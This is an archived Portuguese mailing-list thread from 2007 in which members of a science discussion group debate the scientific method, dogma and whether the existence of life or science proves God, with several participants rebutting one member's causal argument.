--- Só recebi respostas dogmáticas. Ou seja, cadê a
ciencia da ciencia? Será que os cientistas são apenas
paus mandados dos livros que foram obrigados a decorar
na escola? É isto? Se alguém tivesse respondido "não
sei" era muito mais cientifico do que apenas declamar
dogma decorado.

Takata >>> Não estou dizendo q a ciência prova q deus
não existe...

Takata, por favor, ponha seus dogmas de lado por um
segundo (os cientificos e os não-cientificos) e tente
perceber com a pura consciencia lógica o que vou lhe
dizer:

--- a ciencia não precisa provar que deus existe, a
própria existencia da ciencia já é uma prova.

--- Takata, seu conceito de deus é católico e tem
resistencia emocional. Vc provavelmente já ouviu falar
em inconsciente, certo? Sei que estou entrando em um
assunto particular seu, mas é que não estamos
conversando por acaso. Bem, nossas crenças estão
ligadas a nossa memória emocional e nossas memória
emocional é inconsciente, ou seja, não temos como
percebe-la a não ser quando aflora em nossas reações.
É muito comum cientistas terem aversão emocional ao
catolicismo. Contanto que se tenha consciencia disto,
não tem problema algum, pois a questão da aversão se
torna um processo de aprendizagem emocional, mas negar
o fato, fingir que não acontece o que acontece, só
bloqueia a aprendizagem emocional.

--- Caro companheiro de barco, antes de ser um
cientista, vc é um ser humano, e antes de ser humano,
vc é vida pulsando. A vida não é nenhum dogma, deus
também não. Reconhecer isto não vai te fazer menos
cientista do que ninguém, mas o contrário.


abçomano
ferrari








>
> > takata >>> Ou seja, prefiro continuar no emprego q
> tem
> > me pagado bem e com regularidade do q mudar...
> >
> > --- bem, segundo a teoria cientifica de ação e
> > conseqüência, quem percorre sempre o mesmo caminho
> > chega sempre ao mesmo lugar. se vc está satisfeito
> em
> > chegar sempre no mesmo lugar, por que mudar?
>
> Sim ao mm lugar: "Novasdescobertaslândia". E é isso
> q eu quero.
> Realmente não há porq - no meu ponto de vista -
> mudar o destino "Novas
> descobertaslândia" para um destino q historicamente
> tem sido "Velha
> Porquedeusquisassimócia", "Istoeummisterioinsondável
> do Oeste"... Eqto
> os relâmpagos foram as lanças de Zeus, foram lanças
> de Zeus. Qdo
> passou a ser uma descarga elétrica - entre outros
> pelos trabalhos de
> Benjamin Franklin - passamos a ter meios de proteção
> contra os raios,
> sistema de previsão de descargas.
>
> []s,
>
> Roberto Takata
>
>





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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 16:06

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Não estou dizendo q a ciência prova q deus
> não existe, apenas q ela só tem avançado qdo
> desconsidera deus e se atém aos mecanismos naturais.
>
> --- Caro companheiro de barco, o que poderia a ciencia
> provar se não existisse a existencia? Aliás, como
> poderia existir "provador - prova - provado" se a
> existencia não existisse? Vc fala em: "provar". Uma
> vez perguntei aqui na lista:

O q em nada diz respeito à existência ou não de deus. (Na sinça, o q
vc falou faz pouco ou nenhum sentido.)

> --- a ciencia não precisa provar que deus existe, a
> própria existencia da ciencia já é uma prova.

Aí eu teria q aceitar o *seus* dogmas. Seria o mm q dizer q existência
da ciência é a prova de q saci pererê existe.

> --- Caro companheiro de barco, antes de ser um
> cientista, vc é um ser humano, e antes de ser humano,
> vc é vida pulsando. A vida não é nenhum dogma, deus
> também não. Reconhecer isto não vai te fazer menos
> cientista do que ninguém, mas o contrário.

Saci pererê tb não é dogma. Se deus existe ou não vem pouco ao caso. A
existência do universo e da vida NÃO é prova da existência de deus (ou
de sua inexistência). O q estou falando é q: toda vez q meteram deus
no meio da ciência a coisa emperrou, a ciência só tem andado se não
enfiarem deus no meio da história (ou em qq outra parte).

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico (e os cambau)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 16:20

Olá Chicão!

>>> Ferrari, com algumas exceções tenho a impressão
que suas colocações são muito "ad hoc" e sem
embasamento.

--- Sobre suas impressões não posso dizer nada, são
suas. Eu as respeito, mas não concordo. Se servir de
alguma coisa, lhe garanto que minhas respostas são
honestas e que não estão embasadas em nenhum dogma,
mas apenas no que é possivel qualquer ser humano
experimentar e concluir.

>>> Peço que dá proxima vez seja mais cuidadoso nestes
pontos.

--- Bem, uma vez que não concordo com suas impressões,
não farei isto que vc está me pedindo. Mas, se minhas
colaborações não estiverem colaborando com sua
investigação, fique a vontade para fazer o mesmo que
vc faz com uma fruta que não gosta: ignore-a na
fruteira. Só posso te dar o que tenho, nunca o que não
tenho.


abçomano
ferrari







--- Chicao Valadares <chicaovaladares@yahoo.com.br>
escreveu:

> Ferrari, com algumas exceções tenho a impressão que
> suas colocações são muito "ad hoc" e sem
> embasamento.
> Peço que dá proxima vez seja mais cuidadoso nestes
> pontos.
>
> []´s
>
> --- Ferrari <emailferrari@yahoo.com.br> escreveu:
>
> > Olá Chicão!
> >
> > Minha intenção com as respostas a seguir é
> colaborar
> > com a sua investigação. Serei objetivo. Se quiser
> > que
> > eu me explique melhor em alguma resposta, é só me
> > dizer qual, ok? Prossigamos...
> >
> > Chicão >>> 1) O que é ciência ??
> >
> > --- Ciência é o resultado do "fazer ciencia".
> > --- O que é fazer ciencia? Fazer ciencia é: mapear
> > processos repetitivos.
> > --- Que processos? Qualquer um que possa ser
> > observado.
> > --- Pra que serve fazer ciencia? Uma vez que os
> > processos repetitivos são repetitivos, o
> > conhecimento
> > cientifico se torna uma garantia de sucesso para
> se
> > lidar com as repetições futuras.
> >
> > Chicão >>> 2) O que é verdade ??
> >
> > --- Verdade é o que está sempre sendo, menos a
> forma
> > como vc concebe o que está sempre sendo. Ou seja,
> é
> > o
> > território, é a vida.
> >
> > Chicão >>> 3) Quais verdades podemos conhecer??
> >
> > --- O consciente humano só pode conhecer os mapas
> da
> > verdade. Todos os mapas são da mesma verdade. O
> que
> > diferencia "uma verdade" de "outra verdade", não é
> a
> > verdade, mas o mapa que a descreve. Conhecer é
> > mapear.
> > E mapear é um processo involuntário do cérebro:
> > mapear
> > é pensar. Assim, tudo que vc puder pensar a
> respeito
> > da verdade, é um mapa da verdade.
> >
> > --- Contudo, vc também é parte inseparável da
> > verdade,
> > do território, e, sendo assim, vc "sabe" a verdade
> > diretamente, sem mapas, pois a verdade também é
> vc,
> > mas ao pensar sobre esta verdade que vc é, vira
> mapa
> > também: eu.
> >
> >
> > Chicão >>> O método cientifico é completo e único?
> >
> > --- O método cientifico é o único método
> cientifico.
> > Hehehehehe... Creio que o importante aqui é vc
> > investigar primeiro: o que é fazer ciencia?
> >
> > Chicão >>> ii) A navalha de Ocam é uma lei ou uma
> > boa
> > prática??
> >
> > --- No universo, a função de fazer leis, é com
> deus.
> > O
> > método cientifico faz teorias. Toda teoria pode
> > levar
> > a mais ou menos sucesso. é este custo beneficio
> > entre
> > teoria e sucesso que diz se a teoria é boa ou não.
> >
> > Chicão >>> Existe método melhor que o outro e
> ainda
> > o
> > "ocam´s razor" pode ser aplicado pra definir o
> > melhor
> > método??
> >
> > --- melhor é comparação. logo é relativo. repito:
> > melhor sempre depende, neste caso, do custo x
> > beneficio.
> >
> > Chicão >>> Se a navalha de ocam é apenas uma boa
> > prática, então ela não serve para afirmar o que é
> > verdadeiro no sentido ontológico da palavra. Algo
> > mais
> > complexo pode ser a verdadeira causa do fenômeno.
> >
> > --- o que vc está procurando não é o verdadeiro
> > ontológico, mas o verdadeiro equivalente. o
> > verdadeiro
> > equivalente se descobre colocando a teoria em
> > pratica.
> > por exemplo:
> >
> > Teoria: colocar a mão no fogo = queimar a mão
> > Com-prova-ção: coloquei a mão no fogo e queimou
> > Conclusão: equivalência verdadeira
> >
> > Chicão >>> Teorias não falseáveis são usadas como
> > verdades científicas pela comunidade científica.
> >
> > --- Hehehehe... uma teoria de equivalência
> > verdadeira
> > só não pode ser falsa quando a equivalencia for
> > falsa
> > também. e como faz pra saber se a aquivalencia é
> > falsa
> > ou verdadeira? como disse acima: botando a
> > equivalencia a prova
> >
> > Chicão >>> Estou quase acreditando no pastor da
> > Igreja
> > perto de casa :p.
> >
> > --- Acreditar não lhe trará ganho nenhum, mas se
> > recusar a ouvir também não. Escute e investigue o
> > que
> > o pastor fala assim como escuta e investiga o que
> os
> > cientistas falam, cada um defende o seu mapa, mas
> o
> > que importa pra vc não é o mapa deles, é o seu
> > próprio
> > mapa, pois é este que vc usa instante após
> instante
> > para andar pelo território.
> >
> >
> > abçomano
> > ferrari
> >
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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico (e os cambau)
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 17:00

Ferrari,

como faço para experimentar esse seu Deus?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 19 de março de 2007 16:20
Assunto: Re: [ciencialist] Re: Sobre o Método Cientifico




SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 17:21

Olá Sr. Navegante, [--- Caro companheiro de barco...]

vc diz:
"A vida não é nenhum dogma, deus também não."

A vida é uma realidade pois posso sentí-la, beliscar-me, vive-la, consumí-la (se quiser) e, dependendo das casualidades posso levá-la na maciota ou ter que dar um duro para sobreviver.
Esse teu deus ... tem um jeitinho de eu sentí-lo, tocá-lo, beliscá-lo, bater um papo com ele tete-a-tete, convidá-lo para uma picanha com vinho (não tenho nectares para oferecer), ver ele fazer algum 'truque' (como acabar com a miséria no mundo, com as guerras, com a fome, com as doenças) típico de um deus? Dá prá ele fazer chover só na minha horta amanhã às 11:00 horas?
Dá prá ele me explicar direitinho o que é um elétron, como as massas se atraem, o que é carga elétrica etc.? Coisinhas mínimas assim! Ou ele só solta frases de auto-ajuda? Que Ciência existe porque ele existe!
Como faço para experimentá-lo?
Se vc fosse um deus vc agiria assim como ele? Na moita?

aquele abraço,
e finalizo as mensagens nesse tema.


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Ferrari" <emailferrari@yahoo.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 19 de março de 2007 15:54
Assunto: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum


Olá Takata!

Takata >>> Não estou dizendo q a ciência prova q deus
não existe, apenas q ela só tem avançado qdo
desconsidera deus e se atém aos mecanismos naturais.

--- Caro companheiro de barco, o que poderia a ciencia
provar se não existisse a existencia? Aliás, como
poderia existir "provador - prova - provado" se a
existencia não existisse? Vc fala em: "provar". Uma
vez perguntei aqui na lista:

--- o que é observar?
--- observar leva tempo? porque?




SUBJECT: Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum e adloc
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 17:27

Olá Homero!

Talvez lhe pareça que não venha ao caso o que vou
começar dizendo, talvez o chicão vá dizer que é "ad
loc"... hehehe... mas já que estamos todos no mesmo
barco, e já que deus não joga dados, e já que o
assunto é ad infinitum, vamos lá....

Atualmente moro em um sitio. Meu trabalho é cuidar do
sitio. Sendo este sitio um local agricula e pecuario,
meu trabalho é de interação com estes ciclos da
natureza. O sitio tem sido meu laboratório. Bem,
porque digo isto? Por 3 motivos, primeiro porque não
precisamos fazer de nada um cavalo de batalha, pois
estamos no mesmo barco, e assim como nos ensinam as
vacas: tudo vira bosta. ad infinitum... Hehehhehe...
Segundo porque não tem como ser dogmático com a
natureza, as vacas, as galinas, a cana de açucar, o
milho, etc, a natureza não está nem ai pros nossos
dogmas. Terceiro, porque lá no sitio não tem
internet... hehehehe... assim não teremos muito mais
tempo pra ficar brigando aqui, pois volto pro sitio
hoje a noite. Bem, ad loc e ad infinitum resolvidos,
vou comentar sua resposta:

Homero >>> Todas suas respostas são identicas..:-)

--- isto porque todas as perguntas eram identicas,
apenas semanticamente diferentes.

Homero >>> Mas, tente substituir o termo "deus" por
"monstro espagute voador" ou por "Papai Noel" ou por
"ETs extradimensionais superpoderosos", ou por
"duendes e fadas" e perceberá o absurdo que elas
representam.

--- Incrivel, né? Funciona do mesmo jeito. O que será
que este fato que vc está observando quer dizer? Eu
sei! Eu sei! E vc, sabe? Por favor, não estou
brincando com isto pra me dar de gostoso, mas para lhe
instigar na investigação do que vc próprio está
observando. Eu realmente tenho uma resposta sobre o
que este fato que vc está pontuando quer dizer, mas se
lhe disser antes de vc investigar por si mesmo, mato o
cientista em vc. Então volto a perguntar: o que será
que este fato que vc está observando quer dizer?

Homero >>> Fala sério..:-)

--- Sim e não. A parte que eu estiver argumentando é
sério sim, o resto é um ser humano conversando
conversando com outro, o stress não ajuda na conversa,
pelo contrário.

Homero >>> Séculos de filosofia e teologia, para
terminar com uma bobagem dessas como argumento,
Ferrari? Apenas um "apelo a fé" dos mais ingenuos e
sem sentido?

--- Não é apelo a fé, é um argumento lógico. vamos lá,
por etapas:

1) se vc existe é porque vc existe. se vc não
existisse vc não existiria.
2) se vc existe mas vc não é a causa da sua própria
existencia
3) logo:
4) existe uma causa que faz (quer) que vc exista
5) logo
6) vc existe porque esta causa quer
7) logo
8) nada de fé, apenas lógica

Homero >>> > Acho que pode fazer melhor.

--- se deus assim quiser, com certeza. hehehe...

Homero >>> "É assim, porque deus quer que seja" é
mais tola e simplória fuga lógica que a teologia
permite, Ferrari.

--- Simples, sim. Fuga, não.

Homero >>> Não há nenhuma evidência a sustentar essa
alegação, nenhuma evidência de que deus "queira" algo,
ou mesmo que exista.

--- Que tal a vida? Serve? Que tal ação e
consequencia? Pode ser? Que tal o movimento? O tempo?
A repetição? A sequencia? A sincornicidade? A
entropia? Tá bom, ou quer mais?

Homero >>> Vale tanto quanto "é assim, porque o
Ferrari quer".

--- Bem, tudo depende do que vc quer dizer quando usa
a palavra "ferrari". Defina ferrari? hehehehe...

Homero >>> foi colocado, pelo Chicão, que, se
continuar a perguntar o "porque" para a ciência, ela
"quebra as pernas" pois vai ter de parar em algum
momento sem resposta.

--- E que momento é este? Vc sabe? Eu sei! Eu sei!
Hehehehe... Novamente temos aqui uma observação digna
de uma investigação cientifica. Quem se dará ao
trabalho? Talvez seja uma investigação que não dê
dinheiro como o Takata diz, mas é um fato, uma
observação passivel de se fazer ciencia, porque não?
Porque buscar apenas nos livros, porque não investigar
as próprias observações?

Homero >>> É possível continuar a série infindável de
perguntas "por que" como, porque deus existe. Quem
criou deus. Porque quem criou deus existe e quem criou
quem criou deus.

--- Tem certeza? Porque tem certeza?

Homero >>> Pense, o que responde uma frase como essa:
"é assim por que deus quer"? Nada, nadica de nada..:-)

--- Homero, concordo! Concordo completamente. Concordo
do começo cabelo até o fim da unha do dedão. Mas, nem
por isto, DEIXA DE SER VERDADE.


abçomano
ferrari





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SUBJECT: Re: P/ Ferrari - : Sobre o Método Cientifico - adinfinitum e adloc
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 18:36

Olá Ferrari

Você poderia começar informando onde aprendeu lógica..:-) Porque é um
tipo que nunca vimos antes, totalmente, bem, ilógica..:-)

Ferrari: "Incrivel, né? Funciona do mesmo jeito. O que será
> que este fato que vc está observando quer dizer? Eu
> sei! Eu sei! E vc, sabe?"

Sei, porque NÃO FAZ SENTIDO..:-) É absurdo e irracional. Uma
proposição que funciona para TUDO, na verdade não funciona para NADA.
É como o chavão "deus é tudo". Se é TUDO, é também NADA, que é parte
de TUDO, e portanto, "deus é nada". Não existe..:-)

São argumentos circulares, tautológicos, sem pé nemc abeça e
profundamente inúteis. Jogos de palavras. Sei lá, nem sei como debater
esse tipo de maluquice..:-)

Vamos tentar com seu "argumento lógico":

Ferrari: "1) se vc existe é porque vc existe. se vc não
> existisse vc não existiria.
> 2) se vc existe mas vc não é a causa da sua própria
> existencia
> 3) logo:
> 4) existe uma causa que faz (quer) que vc exista
> 5) logo
> 6) vc existe porque esta causa quer
> 7) logo
> 8) nada de fé, apenas lógica"

Putz..:-) Putz, muitas vezes putz..:-) Você escreveu mesmo isso? E
pensa que é um argumento? Apenas a primeira premissa é minimamente
correta, eu existo porque eu existo..:-) O resto...

Quem disse que não sou a causa de minha própria existência? Deus falou
para você? Está tentando retomar o argumento da "causa primeira",
diversas vezes refutado, e diversas vezes demonstrado como falacioso?

Mas, vamso lá, damos um desconto e concordamos em ignorar a causa
primeira, e concordamos que não sou minha própria causa. Chegamos a
premissa 4:
4) existe uma causa que faz (quer) que vc exista

Vamos dizer que sim, que exista uma causa para mim. Sigamos em frente:

6) vc existe porque esta causa quer

Opa, opa opa..:-) Que salto lógico não autorizado é esse??? Uma causa
não precisa ter 'querer", ela pode ser totalmente não intencional,
como, aliás, tudo a sua volta. Pedras caem das montanhas, devido a
gravidade, a causa da queda. Mas a gravidade não "quer" que a pedra caia!

Cristais se formam porque forças químico/físicas assim determinam,
suas causas, mas as forças químico/físicas não QUEREM que cristais se
formem.

A água se acumula nas poças, de forma exata, milimetricamente
ajustadas a forma da poça, mas a poça NÂO QUER que a água se comporte
assim..;-)

Isso é ridículo, como argumento. Um salto lógico completamente não
autorizado pelas premissas e pela lógica.

Querer envolve intenção, desejo, inteligência, etc. Não há evidências
de que estas sejam necessárias para explicar os fenômemos de
existência neste universo, seja para explicar a mim, seja para
explicar a gravidade.

8) nada de fé, apenas lógica"

Na verdade, não há um pingo de lógica nessas asserção, Ferrari.

Ferrari: "Que tal a vida? Serve? Que tal ação e
> consequencia? Pode ser? Que tal o movimento? O tempo?
> A repetição? A sequencia? A sincornicidade? A
> entropia? Tá bom, ou quer mais? "

Não, nada disso serve. Nada. São apenas fenômenos, não implicam em uma
inteligência a controla-los. São naturais, tem evidências de serem
naturais, e nenhuma evidência de serem não naturais ou intencionais.

Um ditado diz, se ensinassem a você que duendes causam chuva, toda vez
que chovesse você veria uma "prova" da existência de duendes.

É seu caso, Ferrari. Ensinaram a você que deus criou o universo, os
seres vivos, etc, e ao ver um ser vivo, pensa ver uma prova da
existência de deus..:-). Mas é só 'chuva", Ferrari, nada mais.

Um raciocínio circular baseado em uma superstição previamente
adquirida. Você acredita que deus criou o tempo, e portanto, ao
encontrar o tempo, pensa ser uma prova de existência de deus.

Não é lógica, mas erros de lógica o que apresenta aqui.

Ferrari: "E que momento é este? Vc sabe? Eu sei! Eu sei!"

Está alegre demais para algo tão sem sentido. Não ter uma resposta
científica, em algum momento, NÃO significa que sua superstição
pessoal preferida é correta como alternativa.

Quem criou este universo foram seres extradimensionais, de universos
paralelos, para extrair energia dos buracos negros para seu universo
(por isso as leis da física são como são, para permitir o surgimento
de buracos negros), e estes nada sabem sobre seres vivos, sobre seres
humanos, e se soubessem não ligariam a mínima.

Esta minha "teoria" sobre a criação do universo é tão boa quanto seu
deus criador, com a vantagem de ser mais razoável.

Ferrari: "Homero, concordo! Concordo completamente. Concordo
> do começo cabelo até o fim da unha do dedão. Mas, nem
> por isto, DEIXA DE SER VERDADE. "

A frase "o azul é azul" também não deixa de ser verdade, e é tão
inútil e sem sentido quanto a sua, sobre deus assim desejar. A frase
"chove porque duendes causam chuva e a chuva é a prova que duendes
existem" também serve, para seu caso.

Você tem uma superstição, e pensa que ela é a prova de si mesma, de
que é real. Bem, é um direito seu, mas nada mais. Ninguém se disporia
a "estudar" a questão "azul é azul", tanto quanto não se disporia a
estudar a alegação de que "é assim porque deus quer".

Simplesmente não faz sentido, não tem pé nem cabeça, e não tem
evidências de ser minimamente correta ou razoável.

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Homero!
>
> Talvez lhe pareça que não venha ao caso o que vou
> começar dizendo, talvez o chicão vá dizer que é "ad
> loc"... hehehe... mas já que estamos todos no mesmo
> barco, e já que deus não joga dados, e já que o
> assunto é ad infinitum, vamos lá....
>
> Atualmente moro em um sitio. Meu trabalho é cuidar do
> sitio. Sendo este sitio um local agricula e pecuario,
> meu trabalho é de interação com estes ciclos da
> natureza. O sitio tem sido meu laboratório. Bem,
> porque digo isto? Por 3 motivos, primeiro porque não
> precisamos fazer de nada um cavalo de batalha, pois
> estamos no mesmo barco, e assim como nos ensinam as
> vacas: tudo vira bosta. ad infinitum... Hehehhehe...
> Segundo porque não tem como ser dogmático com a
> natureza, as vacas, as galinas, a cana de açucar, o
> milho, etc, a natureza não está nem ai pros nossos
> dogmas. Terceiro, porque lá no sitio não tem
> internet... hehehehe... assim não teremos muito mais
> tempo pra ficar brigando aqui, pois volto pro sitio
> hoje a noite. Bem, ad loc e ad infinitum resolvidos,
> vou comentar sua resposta:
>
> Homero >>> Todas suas respostas são identicas..:-)
>
> --- isto porque todas as perguntas eram identicas,
> apenas semanticamente diferentes.
>
> Homero >>> Mas, tente substituir o termo "deus" por
> "monstro espagute voador" ou por "Papai Noel" ou por
> "ETs extradimensionais superpoderosos", ou por
> "duendes e fadas" e perceberá o absurdo que elas
> representam.
>
> --- Incrivel, né? Funciona do mesmo jeito. O que será
> que este fato que vc está observando quer dizer? Eu
> sei! Eu sei! E vc, sabe? Por favor, não estou
> brincando com isto pra me dar de gostoso, mas para lhe
> instigar na investigação do que vc próprio está
> observando. Eu realmente tenho uma resposta sobre o
> que este fato que vc está pontuando quer dizer, mas se
> lhe disser antes de vc investigar por si mesmo, mato o
> cientista em vc. Então volto a perguntar: o que será
> que este fato que vc está observando quer dizer?
>
> Homero >>> Fala sério..:-)
>
> --- Sim e não. A parte que eu estiver argumentando é
> sério sim, o resto é um ser humano conversando
> conversando com outro, o stress não ajuda na conversa,
> pelo contrário.
>
> Homero >>> Séculos de filosofia e teologia, para
> terminar com uma bobagem dessas como argumento,
> Ferrari? Apenas um "apelo a fé" dos mais ingenuos e
> sem sentido?
>
> --- Não é apelo a fé, é um argumento lógico. vamos lá,
> por etapas:
>
> 1) se vc existe é porque vc existe. se vc não
> existisse vc não existiria.
> 2) se vc existe mas vc não é a causa da sua própria
> existencia
> 3) logo:
> 4) existe uma causa que faz (quer) que vc exista
> 5) logo
> 6) vc existe porque esta causa quer
> 7) logo
> 8) nada de fé, apenas lógica
>
> Homero >>> > Acho que pode fazer melhor.
>
> --- se deus assim quiser, com certeza. hehehe...
>
> Homero >>> "É assim, porque deus quer que seja" é
> mais tola e simplória fuga lógica que a teologia
> permite, Ferrari.
>
> --- Simples, sim. Fuga, não.
>
> Homero >>> Não há nenhuma evidência a sustentar essa
> alegação, nenhuma evidência de que deus "queira" algo,
> ou mesmo que exista.
>
> --- Que tal a vida? Serve? Que tal ação e
> consequencia? Pode ser? Que tal o movimento? O tempo?
> A repetição? A sequencia? A sincornicidade? A
> entropia? Tá bom, ou quer mais?
>
> Homero >>> Vale tanto quanto "é assim, porque o
> Ferrari quer".
>
> --- Bem, tudo depende do que vc quer dizer quando usa
> a palavra "ferrari". Defina ferrari? hehehehe...
>
> Homero >>> foi colocado, pelo Chicão, que, se
> continuar a perguntar o "porque" para a ciência, ela
> "quebra as pernas" pois vai ter de parar em algum
> momento sem resposta.
>
> --- E que momento é este? Vc sabe? Eu sei! Eu sei!
> Hehehehe... Novamente temos aqui uma observação digna
> de uma investigação cientifica. Quem se dará ao
> trabalho? Talvez seja uma investigação que não dê
> dinheiro como o Takata diz, mas é um fato, uma
> observação passivel de se fazer ciencia, porque não?
> Porque buscar apenas nos livros, porque não investigar
> as próprias observações?
>
> Homero >>> É possível continuar a série infindável de
> perguntas "por que" como, porque deus existe. Quem
> criou deus. Porque quem criou deus existe e quem criou
> quem criou deus.
>
> --- Tem certeza? Porque tem certeza?
>
> Homero >>> Pense, o que responde uma frase como essa:
> "é assim por que deus quer"? Nada, nadica de nada..:-)
>
> --- Homero, concordo! Concordo completamente. Concordo
> do começo cabelo até o fim da unha do dedão. Mas, nem
> por isto, DEIXA DE SER VERDADE.
>
>
> abçomano
> ferrari
>
>
>
>
>
> - - - - - - - - - - - - - - -
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> EXPERIMENTE XIXI COM TINTA
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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 19:09

[ Quando muito, que se questione "para que existe a ciência", ou "para que
serve a ciência", pois embora estes não sejam questionamentos exatamente
científicos --e sim pertencentes à seara da filosofia da ciência-- talvez
sirvam para nos orientar quanto ao que não seria de bom alvitre ser
discutido aqui. Lembro que a ciência é obra do ser humano, logo justifica-se
questionar sobre a existência de uma teleologia (não confundir com teologia)
e, portanto, desses "para que". ]
...................................

Olá, Alberto! Parece-me que a ciência não pode se desenvolver separada das
questões para que e por que. Seria uma humanidade robô pesquisando,
descobrindo e produzindo coisas apenas para se manter ocupado, sem
finalidade, avaliação, discernimento, preocupação ou intenção. Hoje a
ciência está a serviço do capital. Não seria nenhuma novidade afirmar que já
há algum tempo o principal objetivo em todos os ramos da ciência é pesquisar
para gerar lucro.
[]s
José Renato
...........................................
From: "Alberto Mesquita Filho" <albmesq@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Thursday, March 15, 2007 8:34 PM
Subject: [ciencialist] Re: Sobre o Método Cientifico


----- Original Message -----
From: "Chicao Valadares"
Sent: Thursday, March 15, 2007 2:50 PM
Subject: Re: [ciencialist] Re: Sobre o Método Cientifico

> talvez os métodos aplicados pela "ciência"(entre aspas pq o meu
conceito de ciencia está em crise) sejam bom para responder " O COMO"
mas não "O PORQUÊ".

Vou expor aqui o item 4.1 do meu artigo "O método científico" e
intitulado "Sobre a essencialidade do método". O artigo inteiro pode
ser lido a partir de
http://ecientificocultural.com/ECC2/FilCien/metcien01.htm

******* início da citação *******

Sobre a essencialidade do método

Se a existência do método decorre da observação do comportamento dos
cientistas, isso parece implicar na sua natureza empírica. Mas, como
diz PORTA (1999) [ ftp://ftp.usjt.br/pub/revint/245_19.ZIP ]: A
experiência é incapaz de fundar o conhecimento universal e
necessário. Ela pode eventualmente dizer como são as coisas, mas não
dizer porque, necessariamente, elas são assim e não de outro modo.
[...] Conseqüentemente, se há um conhecimento que tenha estas
qualidades de necessário e universal então ele não pode ser empírico
e, em conseqüência, é, por oposição, "a priori". Se pensarmos, então,
na teoria do método científico como conhecimento universal e
necessário, recaímos nesse problema kantiano e quero crer que a
solução para o caso seja a mesma apresentada por KANT (1788) [Crítica
da Razão Pura] com respeito à mecânica newtoniana. Para maiores
esclarecimentos deixo a critério do leitor a consulta ao artigo de
Porta (acima indicado), bastante didático por sinal. Comentarei aqui,
e na superficialidade, apenas um dos aspectos importantes e
relacionado ao problema kantiano.

Se a metodologia científica é conhecimento universal e necessário, no
sentido apontado no parágrafo anterior, isto significa que o
cientista, consciente ou inconscientemente, quer queira, quer não
queira, ao produzir conhecimentos científicos utiliza-se do método
científico, cabendo ao estudioso em teoria do conhecimento
decodificar ou decifrar esse método. A ciência, enquanto tal, evolui
independentemente da existência do método, da mesma maneira que os
planetas circulam ao redor do Sol, indiferentes à existência ou não
das leis da mecânica ou da gravitação. Obviamente o método poderá
interessar ao pedagogo ou a todos aqueles que se preocuparem com a
formação de pesquisadores, bem como aos cientistas que pretenderem
aprimorar sua maneira de fazer ciência. Bem ou mal estes cientistas
já utilizam o método de uma maneira muito semelhante àquela
apresentada pelo músico que toca um instrumento por ouvido. Nota-se,
no entanto, que a maioria daqueles que produziram ciência de alta
qualidade, preocuparam-se, em alguma etapa de suas vidas, em aprender
metodologia científica e/ou em tecer considerações sobre o método que
empregavam.

******* final da citação *******

Com respeito ao fato aqui comentado de "as ciências responderem mal á
pergunta 'para quê'", eu diria que ou muito me engano ou não me
parece ser objetivo da ciência responder a essa pergunta. É possível
que seja objetivo da filosofia (conheço pouco esses objetivos) ou,
até mesmo, da teologia ou do ateísmo (não conheço quase nada dos
objetivos de ambos), mas com respeito à ciência, salvo maior juízo,
não vejo muito sentido nesse questionamento. Ainda salvo maior juízo,
creio que seria conveniente não envedarmos por este caminho, sob pena
de ficarmos recebendo centenas de mensagens desinteressantes, como
sóe acontecer de tempos em tempos aqui na Ciencialist por parte de
alguns amantes da ciência que gostam de discutir abobrinhas sob o
pretexto de defenderem a ciência de "ameaças" das possíveis pseudo-
ciências. Quando muito, que se questione "para que existe a ciência",
ou "para que serve a ciência", pois embora estes não sejam
questionamentos exatamente científicos --e sim pertencentes à seara
da filosofia da ciência-- talvez sirvam para nos orientar quanto ao
que não seria de bom alvitre ser discutido aqui. Lembro que a ciência
é obra do ser humano, logo justifica-se questionar sobre a existência
de uma teleologia (não confundir com teologia) e, portanto,
desses "para que".

Em tempo: teleologia = qualquer doutrina que identifica a presença de
metas, fins ou objetivos últimos guiando a natureza e a humanidade,
considerando a finalidade como o princípio explicativo fundamental na
organização e nas transformações de todos os seres da realidade
[dicionário eletrônico Houaiss].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




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SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 19:33

Alguns pontos:

1 - E se o modelo fizer previsões com uma taxa de
acertos alta e não for falseável???
2 - Existe consenso na comunidade em relação ao que
seja um bom modelo??
3 - Seu exemplo dos foguetes foi ótimo. Melhor ainda
se voce analisasse todas as possibilidades possíveis
